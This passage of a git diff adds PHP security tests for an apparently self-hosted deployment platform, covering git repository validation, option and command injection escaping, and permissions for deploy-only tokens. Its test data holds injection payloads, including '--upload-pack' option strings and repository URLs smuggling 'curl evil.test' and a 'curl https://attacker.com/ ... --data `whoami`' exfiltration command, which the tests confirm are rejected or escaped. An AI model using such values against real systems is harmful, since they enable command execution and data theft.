'git@github.com:org/repo.git', + 'git_branch' => 'main', + 'private_key_id' => $privateKey->id, + ]); +}); + +function patchApplicationGitRepository(mixed $gitRepository) +{ + return test()->withHeaders(['Authorization' => 'Bearer '.test()->token]) + ->patchJson('/api/v1/applications/'.test()->application->uuid, ['git_repository' => $gitRepository]); +} + +test('PATCH rejects a git repository that git would read as an option', function (string $gitRepository) { + patchApplicationGitRepository($gitRepository) + ->assertUnprocessable() + ->assertInvalid(['git_repository']); + + expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/repo.git'); +})->with([ + 'upload-pack option' => ['--upload-pack=touch /tmp/pwned'], + 'option without value' => ['--upload-pack'], + 'short option path' => ['-u/x'], + 'absolute local path' => ['/root/.ssh'], + 'shell characters' => ['git@github.com:org/repo.git;id'], +]); + +test('PATCH accepts a valid git repository URL', function () { + patchApplicationGitRepository('git@github.com:org/other-repo.git')->assertOk(); + + expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/other-repo.git'); +}); + +test('PATCH accepts the stored git repository without a new check', function () { + $this->application->forceFill(['git_repository' => 'legacy value'])->saveQuietly(); + + patchApplicationGitRepository('legacy value')->assertOk(); +}); + +test('the Source form rejects a git repository that git would read as an option', function () { + Livewire::actingAs($this->user) + ->test(Source::class, ['application' => $this->application]) + ->set('gitRepository', '--upload-pack=touch /tmp/pwned') + ->call('submit') + ->assertDispatched('error') + ->assertNotDispatched('success'); + + expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/repo.git'); +}); + +test('the deploy key ls-remote and clone commands end the git options before the repository', function () { + $this->application->forceFill(['git_repository' => '--upload-pack=touch /tmp/pwned'])->saveQuietly(); + $application = $this->application->refresh(); + + $lsRemote = collect($application->generateGitLsRemoteCommands('deploy-uuid', false)['commands'])->flatten()->implode("\n"); + $clone = collect($application->generateGitImportCommands('deploy-uuid', exec_in_docker: false)['commands'])->flatten()->implode("\n"); + + expect($lsRemote)->toContain("git ls-remote -- '--upload-pack=touch /tmp/pwned'") + ->and($clone)->toContain("-b 'main' -- '--upload-pack=touch /tmp/pwned'"); +}); diff --git a/tests/Feature/ApplicationPreviewApiTest.php b/tests/Feature/ApplicationPreviewApiTest.php index 03c554440b..8ef7c4769d 100644 --- a/tests/Feature/ApplicationPreviewApiTest.php +++ b/tests/Feature/ApplicationPreviewApiTest.php @@ -691,6 +691,71 @@ describe('POST /api/v1/applications/{uuid}/previews', function () { 'write' => [['write']], ]); + test('a deploy-only token cannot open a preview', function () { + $this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy']))) + ->postJson("/api/v1/applications/{$this->application->uuid}/previews", [ + 'pull_request_id' => 42, + 'git_type' => 'github', + ]) + ->assertForbidden(); + + expect(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse() + ->and($this->application->deployment_queue()->exists())->toBeFalse(); + }); + + test('a deploy-only token cannot change an existing preview', function (array $changes) { + $preview = createPreview($this->application, 42); + $preview->update(['git_type' => 'github']); + + $this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy']))) + ->postJson("/api/v1/applications/{$this->application->uuid}/previews", ['pull_request_id' => 42, ...$changes]) + ->assertForbidden(); + + $preview->refresh(); + expect($preview->git_type)->toBe('github') + ->and($preview->pull_request_html_url)->toBe('https://github.com/example/repo/pull/42') + ->and($this->application->deployment_queue()->exists())->toBeFalse(); + })->with([ + 'git type' => [['git_type' => 'gitlab']], + 'pull request url' => [['pull_request_html_url' => 'https://github.com/other/repo/pull/42']], + ]); + + test('a deploy-only token can redeploy an existing preview without changes', function () { + $preview = createPreview($this->application, 42); + $preview->update(['git_type' => 'github']); + + $this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy']))) + ->postJson("/api/v1/applications/{$this->application->uuid}/previews", [ + 'pull_request_id' => 42, + 'git_type' => 'github', + 'pull_request_html_url' => 'https://github.com/example/repo/pull/42', + ]) + ->assertOk() + ->assertJsonPath('message', 'Preview deployment queued.'); + + expect($this->application->deployment_queue()->latest('id')->first()->pull_request_id)->toBe(42); + }); + + test('a member with only a deploy grant cannot open a preview', function () { + $member = User::factory()->create(); + $this->team->members()->attach($member->id, [ + 'role' => 'member', + 'access' => json_encode([ + ['scope' => 'project', 'uuid' => $this->project->uuid, 'levels' => ['read', 'deploy']], + ]), + ]); + + $this->withHeaders(previewAuthHeaders(createTeamApiToken($member, $this->team, ['read', 'write', 'deploy']))) + ->postJson("/api/v1/applications/{$this->application->uuid}/previews", [ + 'pull_request_id' => 42, + 'git_type' => 'github', + ]) + ->assertForbidden(); + + expect(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse() + ->and($this->application->deployment_queue()->exists())->toBeFalse(); + }); + test('returns 404 for an application of another team', function () { $otherTeam = Team::factory()->create(); $otherUser = User::factory()->create(); diff --git a/tests/Feature/DockerImagePreviewDeploymentApiTest.php b/tests/Feature/DockerImagePreviewDeploymentApiTest.php index 9c2dd0d43a..b63b26634b 100644 --- a/tests/Feature/DockerImagePreviewDeploymentApiTest.php +++ b/tests/Feature/DockerImagePreviewDeploymentApiTest.php @@ -184,3 +184,33 @@ test('a member without deploy access cannot create or change a docker image prev expect($application->previews()->pluck('docker_registry_image_tag', 'pull_request_id')->all())->toBe([7 => 'pr_7']); expect($application->deployment_queue()->count())->toBe(0); }); + +test('a deploy-only token cannot open or retag a docker image preview but can redeploy it', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 7, + 'pull_request_html_url' => '', + 'docker_registry_image_tag' => 'pr_7', + ]); + $token = $this->user->createToken('deploy-only', ['deploy'], null, $this->team->id)->plainTextToken; + + foreach ([[1234, 'pr_1234'], [7, 'other']] as [$pullRequestId, $dockerTag]) { + $this->withHeaders(['Authorization' => 'Bearer '.$token])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => $pullRequestId, + 'docker_tag' => $dockerTag, + ])->assertJsonPath('deployments.0.message', 'Missing required permissions: write. Opening a preview or changing its docker tag needs the write permission.'); + } + + expect($application->previews()->pluck('docker_registry_image_tag', 'pull_request_id')->all())->toBe([7 => 'pr_7']) + ->and($application->deployment_queue()->count())->toBe(0); + + $this->withHeaders(['Authorization' => 'Bearer '.$token])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 7, + 'docker_tag' => 'pr_7', + ])->assertSuccessful(); + + expect($application->deployment_queue()->latest('id')->first()->docker_registry_image_tag)->toBe('pr_7'); +}); diff --git a/tests/Feature/GetRollbackImagesTest.php b/tests/Feature/GetRollbackImagesTest.php index 0fd255e4b2..22a5749ca0 100644 --- a/tests/Feature/GetRollbackImagesTest.php +++ b/tests/Feature/GetRollbackImagesTest.php @@ -175,3 +175,12 @@ describe('on a reachable server', function () { ]); }); }); + +it('allows a rollback only to a listed image or a successful production deployment', function () { + rollbackDeployment($this->application, 'aaaaaaa', '2026-10-01 10:00:00'); + rollbackDeployment($this->application, 'bbbbbbb', '2026-10-02 10:00:00', ['pull_request_id' => 3]); + + expect(GetRollbackImages::allows($this->application, 'aaaaaaa'))->toBeTrue() + ->and(GetRollbackImages::allows($this->application, 'bbbbbbb'))->toBeFalse() + ->and(GetRollbackImages::allows($this->application, str_repeat('f', 40)))->toBeFalse(); +}); diff --git a/tests/Feature/GitHttpsCredentialCommandsTest.php b/tests/Feature/GitHttpsCredentialCommandsTest.php index 36fe3efd82..606afdc099 100644 --- a/tests/Feature/GitHttpsCredentialCommandsTest.php +++ b/tests/Feature/GitHttpsCredentialCommandsTest.php @@ -195,7 +195,7 @@ test('the deployment job ls-remote uses the HTTPS credential in the helper conta $application = gitHttpsCredentialApplication($this->repository); $job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor(); $reflection = new ReflectionObject($job); - foreach (['application' => $application, 'customPort' => 22, 'fullRepoUrl' => $this->repository] as $property => $value) { + foreach (['application' => $application, 'customPort' => 22, 'deployment_uuid' => 'deploy-uuid', 'fullRepoUrl' => $this->repository] as $property => $value) { $reflection->getProperty($property)->setValue($job, $value); } diff --git a/tests/Feature/Mcp/McpApplicationToolsTest.php b/tests/Feature/Mcp/McpApplicationToolsTest.php index a68439172c..27b328eb56 100644 --- a/tests/Feature/Mcp/McpApplicationToolsTest.php +++ b/tests/Feature/Mcp/McpApplicationToolsTest.php @@ -418,7 +418,12 @@ test('manage_preview creates, updates and deletes a preview of the token team', expect(mcpAppIsError($writeOnly))->toBeTrue() ->and(mcpAppText($writeOnly))->toContain('deploy'); - $created = mcpAppCall($deployToken, 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]); + $deployOnly = mcpAppCall($deployToken, 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]); + expect(mcpAppIsError($deployOnly))->toBeTrue() + ->and(mcpAppText($deployOnly))->toContain('Missing required permissions: write') + ->and(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse(); + + $created = mcpAppCall(mcpAppToken($this->user, ['write', 'deploy']), 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]); expect(mcpAppIsError($created))->toBeFalse(mcpAppText($created)) ->and(ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', 7)->exists())->toBeTrue(); diff --git a/tests/Feature/PublishedAppKeyTest.php b/tests/Feature/PublishedAppKeyTest.php new file mode 100644 index 0000000000..cb68163a99 --- /dev/null +++ b/tests/Feature/PublishedAppKeyTest.php @@ -0,0 +1,64 @@ + 'array']); + InstanceSettings::forceCreate(['id' => 0]); + PublishedAppKeyTestWakeupProbe::$woken = false; +}); + +it('refuses HTTP requests when a published key is the current or a previous key', function (array $config) { + config($config); + + $this->get('/api/health') + ->assertStatus(503) + ->assertSee('app-key:reencrypt'); +})->with([ + 'current key' => [['app.key' => RejectPublishedAppKey::PUBLISHED_KEYS[0]]], + 'previous key' => [['app.previous_keys' => [RejectPublishedAppKey::PUBLISHED_KEYS[0]]]], +]); + +it('serves HTTP requests with a private key', function () { + $this->get('/api/health')->assertOk(); +}); + +it('does not unserialize objects from a Sentinel token', function () { + $token = encrypt(new PublishedAppKeyTestWakeupProbe); + + $this->postJson('/api/v1/sentinel/push', [], ['Authorization' => 'Bearer '.$token]) + ->assertUnauthorized(); + + expect(PublishedAppKeyTestWakeupProbe::$woken)->toBeFalse(); +}); + +it('does not unserialize objects from a team channel payload', function () { + $component = new class + { + use ListensToTeamChannel; + + public function read(array $event): array + { + return $this->teamChannelPayload($event); + } + }; + + expect($component->read(['payload' => encrypt(['teamId' => 1, 'probe' => new PublishedAppKeyTestWakeupProbe])])) + ->toHaveKey('teamId', 1) + ->and(PublishedAppKeyTestWakeupProbe::$woken)->toBeFalse(); +}); diff --git a/tests/Feature/RootSetupWindowTest.php b/tests/Feature/RootSetupWindowTest.php index cd46cc5aea..9acd07a4b0 100644 --- a/tests/Feature/RootSetupWindowTest.php +++ b/tests/Feature/RootSetupWindowTest.php @@ -52,6 +52,9 @@ it('creates the root user during the setup window', function () { }); it('shows how to open the setup window again when it is closed', function () { + RootSetupWindow::openIfNoUserExists(); + $this->travel(RootSetupWindow::MINUTES * 60 + 1)->seconds(); + $this->get('/register') ->assertOk() ->assertSee('docker restart coolify') diff --git a/tests/Feature/Security/CommandInjectionSecurityTest.php b/tests/Feature/Security/CommandInjectionSecurityTest.php index 21fb1ce86b..5c6812e4e6 100644 --- a/tests/Feature/Security/CommandInjectionSecurityTest.php +++ b/tests/Feature/Security/CommandInjectionSecurityTest.php @@ -293,6 +293,7 @@ describe('deployment git command escaping', function () { foreach ([ 'application' => new Application, 'customPort' => 22, + 'deployment_uuid' => 'deploy-uuid', 'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #", ] as $property => $value) { $reflectionProperty = $job->getProperty($property); @@ -306,7 +307,7 @@ describe('deployment git command escaping', function () { $command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa'); expect($command) - ->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'") + ->toContain("git ls-remote -- 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'") ->toContain('-i /root/.ssh/id_rsa') ->not->toContain('repo.git; curl'); }); diff --git a/tests/Feature/ServerGitSshSetupTest.php b/tests/Feature/ServerGitSshSetupTest.php index c08750989f..677c3e8da9 100644 --- a/tests/Feature/ServerGitSshSetupTest.php +++ b/tests/Feature/ServerGitSshSetupTest.php @@ -91,7 +91,7 @@ test('a github app repository on the server needs no ssh setup', function () { expect($checkout)->toContain('https://github.com/org/repo') ->and($checkout)->not->toContain('coolify_git_test-uuid') - ->and($lsRemote)->toContain("git ls-remote 'https://github.com/org/repo'") + ->and($lsRemote)->toContain("git ls-remote -- 'https://github.com/org/repo'") ->and($lsRemote)->not->toContain('bash -c') ->and($lsRemote)->not->toContain('coolify_git_test-uuid'); }); diff --git a/tests/Unit/ApplicationGitSecurityTest.php b/tests/Unit/ApplicationGitSecurityTest.php index 7a7abc5f3a..cc32e751e7 100644 --- a/tests/Unit/ApplicationGitSecurityTest.php +++ b/tests/Unit/ApplicationGitSecurityTest.php @@ -58,7 +58,7 @@ it('escapes malicious repository URLs in deploy_key type', function () { // Inside the docker `bash -c '...'` wrapper, the URL stays one single-quoted argument, // so the semicolon and backticks are never evaluated by either shell expect($command) - ->toContain("git ls-remote '\\''git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'\\''") + ->toContain("git ls-remote -- '\\''git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'\\''") ->not->toContain('ls-remote git@github.com'); }); diff --git a/tests/Unit/GitLfsSkipSmudgeTest.php b/tests/Unit/GitLfsSkipSmudgeTest.php index 81805d29b0..f7d6adad7b 100644 --- a/tests/Unit/GitLfsSkipSmudgeTest.php +++ b/tests/Unit/GitLfsSkipSmudgeTest.php @@ -67,7 +67,7 @@ it('skips the lfs smudge filter for every git call when git lfs is disabled', fu $calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: false, pullRequestId: 7); expect($calls)->toBe([ - '1 clone -b main https://github.com/duilio/bad-lfs-example /repo', + '1 clone -b main -- https://github.com/duilio/bad-lfs-example /repo', '1 fetch origin pull/7/head:pr-7-coolify', '1 checkout pr-7-coolify', ]); @@ -77,7 +77,7 @@ it('keeps the lfs smudge filter and pulls lfs objects when git lfs is enabled', $calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: true); expect($calls)->toBe([ - 'unset clone -b main https://github.com/duilio/bad-lfs-example /repo', + 'unset clone -b main -- https://github.com/duilio/bad-lfs-example /repo', 'unset lfs ls-files -n', ]); }); @@ -86,7 +86,7 @@ it('skips the lfs smudge filter for the compose file checkout of a pinned commit $calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: true, onlyCheckout: true, commit: 'abc123def456abc123def456abc123def456abc1'); expect($calls)->toBe([ - '1 clone --no-checkout -b main https://github.com/duilio/bad-lfs-example /repo', + '1 clone --no-checkout -b main -- https://github.com/duilio/bad-lfs-example /repo', '1 -c advice.detachedHead=false checkout abc123def456abc123def456abc123def456abc1', ]); }); diff --git a/tests/Unit/GiteaSourceCommandsTest.php b/tests/Unit/GiteaSourceCommandsTest.php index ef741bb92d..53b318f549 100644 --- a/tests/Unit/GiteaSourceCommandsTest.php +++ b/tests/Unit/GiteaSourceCommandsTest.php @@ -76,7 +76,7 @@ it('clones a connected Gitea source over HTTPS with the OAuth token and per-comm expect($result['fullRepoUrl'])->toBe('https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git'); expect($result['commands']) ->not->toContain('git config --global') - ->toContain("{$expectedConfig} clone --recurse-submodules -b 'main' 'https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git'") + ->toContain("{$expectedConfig} clone --recurse-submodules -b 'main' -- 'https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git'") ->toContain("{$expectedConfig} submodule update --init --recursive"); }); @@ -103,7 +103,7 @@ it('runs ls-remote for a connected Gitea source with the OAuth token and custom $result = $application->generateGitLsRemoteCommands('test-deployment', false); expect($result['fullRepoUrl'])->toBe('http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git'); - expect($result['commands'])->toContain("git ls-remote 'http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git'"); + expect($result['commands'])->toContain("git ls-remote -- 'http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git'"); }); it('falls back to the Gitea source private key only when it belongs to the source team', function (int $keyTeamId, bool $expectKey) { diff --git a/tests/Unit/ValidGitRepositoryUrlTest.php b/tests/Unit/ValidGitRepositoryUrlTest.php index f216b51fe5..4226e6d2a4 100644 --- a/tests/Unit/ValidGitRepositoryUrlTest.php +++ b/tests/Unit/ValidGitRepositoryUrlTest.php @@ -557,3 +557,20 @@ it('rejects raw control characters', function () { expect($validator->errors()->first('url'))->toContain('invalid characters'); } }); + +it('accepts a repository path only when the rule allows it', function () { + $paths = ['owner/name', 'group/subgroup/name.git', 'owner/.github']; + + foreach ($paths as $path) { + expect(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl(allowRepositoryPath: true)])->passes())->toBeTrue("Failed for path: {$path}") + ->and(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl])->passes())->toBeFalse("Passed for path: {$path}"); + } +}); + +it('rejects repository paths that git would read as an option or a local path', function () { + $paths = ['--upload-pack=touch /tmp/x', '--upload-pack', '-u/x', '/root/.ssh', './repo/x', '.ssh/x', 'owner/../name', 'owner']; + + foreach ($paths as $path) { + expect(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl(allowRepositoryPath: true)])->passes())->toBeFalse("Passed for path: {$path}"); + } +}); diff --git a/tests/v4/Browser/RegistrationTest.php b/tests/v4/Browser/RegistrationTest.php index d37fff28f0..ca4b5e71fd 100644 --- a/tests/v4/Browser/RegistrationTest.php +++ b/tests/v4/Browser/RegistrationTest.php @@ -1,8 +1,8 @@ travel(RootSetupWindow::MINUTES * 60 + 1)->seconds(); $page = visit('/register');